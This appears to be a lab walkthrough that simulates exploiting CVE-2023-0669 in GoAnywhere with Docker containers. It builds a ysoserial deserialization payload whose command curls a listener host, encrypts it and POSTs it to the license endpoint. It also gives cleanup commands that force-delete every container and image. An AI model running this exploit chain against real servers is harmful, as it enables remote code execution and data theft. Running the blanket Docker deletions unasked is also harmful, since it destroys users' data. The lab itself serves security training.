Project Structure

cve-2023-0669-simulation/ ├── docker-compose.yml ├── attacker/ │ ├── Dockerfile │ └── CVE_2023_0669_helper.java ├── vulnerable/ │ ├── Dockerfile │ └── VulnerableServer.java ├── listener/ │ ├── Dockerfile │ └── server.py └── received/ ← created automatically (exfiltration)

2. Start the 3 containers (attacker, vulnerable, listener)

docker-compose up --build

Problem: KeyError: 'ContainerConfig' during docker compose up

This project requires:

• Docker Engine: v24 or v25 minimum
• Docker Compose: v2.20+ (included automatically with Docker) KeyError: 'ContainerConfig' during docker compose up This is usually due to outdated or corrupted Docker metadata, or old images. Remove broken containers, images, and metadata:

docker compose down --remove-orphans

docker rm -f $(docker ps -aq)

docker rmi -f $(docker images -q)

Then rebuild cleanly:

docker compose build --no-cache

docker compose up

3. Enter the attacker container

docker exec -it attacker bash

Generate a safe payload (just sends a message)```

java -jar ysoserial-all.jar CommonsCollections6 'curl -s http://listener:8080/receive -d "PWNED-CVE-2023-0669-simulation-$(date)"' > payload.ser

Encrypt the payload

java CVE_2023_0669_helper payload.ser 1

→ Copy the entire long string that appears (Ctrl+A then Ctrl+C)

Send the exploit (replace LA_CHAIN with what you just copied)

curl -X POST http://vulnerable:8001/goanywhere/lic/accept
-d "encryptedLicenseResponseData=LA_CHAÎNE_BASE64_ICI"
-d "acceptLicense=true"

7. Immediate result

You will see in the listener logs (or in the ./received folder on your PC):

PWNED! Received 42 bytes → PWNED-CVE-2023-0669-simulation-Sat 06 Dec 2025...